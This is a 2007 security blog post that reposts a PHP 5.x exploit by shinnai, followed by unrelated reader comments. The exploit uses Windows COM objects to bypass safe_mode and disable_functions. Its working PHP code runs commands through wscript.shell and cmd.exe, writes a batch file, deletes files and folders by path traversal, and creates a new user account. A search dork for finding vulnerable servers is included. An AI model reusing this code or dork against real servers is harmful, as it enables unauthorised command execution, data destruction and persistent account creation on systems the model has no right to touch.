PHP 5.x COM functions safe_mode and disable_function bypass
Post by amxku on 2007-12-23, 9:45 PM. 共享
<?php
//php 5.x COM functions safe_mode and disable_function bypass
//author: shinnai
//mail: shinnai[at]autistici[dot]org
//site: http://shinnai.altervista.org
//dork: intitle:phpinfo intext:"php version" +windows (thanks to rgod)
//Tested on xp Pro sp2 full patched, worked both from the cli and on apache
//from: http://www.phpfreaks.com/phpmanual/page/ref.com.html
//Requirements:
//COM functions are only available for the Windows version of PHP.
//.Net support requires PHP 5 and the .Net runtime.
//Installation:
//There is no installation needed to use these functions; they are part of the PHP core. -> (sounds good)
//The windows version of PHP has built in support for this extension. You do not need to
//load any additional extension in order to use these functions.
//You are responsible for installing support for the various COM objects that you intend
//to use (such as MS Word); we don't and can't bundle all of those with PHP.
//mmm... I don't know how many people use Apache and PHP on Windows servers but I suppose there are
//a lot of users if PHP developers decide to implement COM functions as part of PHP core.
//take a look here: intitle:phpinfo intext:"php version" +windows (thanks to rgod).
//Anyway, I think they should take much care on security due to the fact that, through these
//functions, you can seriously compromise a pc.
//For remote execution you need (naturally) to use a server that is MS based,
//e.g. Apache for win configured for working with PHP.
//In this scenario, someone could upload a script and then use it to damnage the server.
//Local execution simply bypass all Windows protections against execution of dangerous
//COM objects (even kill-bit) due to the fact that the script is executed from a client that
//does not check these settings.
//php.ini settings:
//safe_mode = On
//disable_functions = com_load_typelib
//open_basedir = htdocs
//Remote execution requires that open_basedir is disabled
$mPath = str_repeat("..\\",20);
$compatUI = new COM('{0355854A-7F23-47E2-B7C3-97EE8DD42CD8}'); //this one uses compatUI.dll
$compatUI->RunApplication("something", "notepad.exe", 1); //to run notepad.exe
$wscript = new COM('wscript.shell'); //this one uses wscript.exe
$wscript->Run("cmd.exe /c calc.exe"); //to run calc.exe
$FSO = new COM('Scripting.FileSystemObject'); //this one uses wshom.ocx
$FSO->OpenTextFile($mPath."something.bat", 8, true); //to create a batch file on server... yes,
//if you want you can write to this batch file :)
$FSOdelFile = new COM('Scripting.FileSystemObject'); //this one uses wshom.ocx
$FSOdelFile->DeleteFile($mPath."PathToFiles\\*.txt", True); //to delete all files with txt extension
$FSOdelFolder = new COM('Scripting.FileSystemObject'); //this one uses wshom.ocx
$FSOdelFolder->DeleteFolder($mPath."FolderToDelete", True); //to delete an entire folder
$shgina = new COM('{60664CAF-AF0D-0004-A300-5C7D25FF22A0}'); //this one uses shgina.dll
$shgina->Create("shinnai"); //to add an user :)
?>
Address: http://www.amxku.net/PHP-COM-functions/
Tags: php, 漏洞
上一篇»» PhpSpy2008
下一篇»» USB记录清除方法
相关文章
- 转码引发的扯淡 [浏览:475,评论:3]
- msn跨站代码 [浏览:587,评论:5]
- 取WEB版本的一段脚本 [浏览:408,评论:0]
- php空字节的一个tips [浏览:975,评论:10]
- Vulnerability in Windows Could ... [浏览:945,评论:1]
- SaGunman [浏览:1410,评论:3]
- sablog 1.6 多个跨站漏洞 [浏览:1674,评论:2]
- 超级诡异的MySQL server has gone away... [浏览:1711,评论:4]
- XSS,又是XSS [浏览:2029,评论:3]
网友评论
2007年底六部大片的启示:
《色戒》: 女人不可靠
《苹果》: 男人不可靠
《投名状》:兄弟也不可靠
《集结号》:组织更不可靠
《长江7号》:地球人都不可靠
《命运呼叫转移》:还是中国移动可靠
Post by 启示 on 2007-12-26, 4:11 PM
Quote #1
诚信篇:
《色戒》: 女人不可靠
《苹果》: 男人不可靠
《投名状》:兄弟也不可靠
《集结号》:组织更不可靠
《长江7号》:地球人都不可靠
告诫篇:
《色戒》: 不要玩敌人的女人!
《投名状》:不要玩兄弟的女人!
《苹 果》:不要玩老板的女人!
《长江7号》:不要玩外星的女人!
《集结号》:没有女人就都玩完了……
大片启示最新总结
不男不女的最可靠
《色戒》:救了你命的还是你的女人
《投名状》:为你报仇的还是只有你的兄弟
《集结号》:抛弃你的始终是组织
顶顶了...
Post by kiki on 2007-12-31, 10:39 PM
Quote #3
Post by kiki on 2007-12-31, 10:39 PM
Quote #4
再来一次
Post by kiki on 2007-12-31, 10:48 PM
Quote #5
测试验证码。。。。
Post by kiki on 2007-12-31, 10:49 PM
Quote #6
你测试个毛线,早就重新写过了。小样,皮痒痒了吧
你的速度还蛮快的么。呵呵
Post by kiki on 2008-01-02, 9:21 PM
Quote #8
发表评论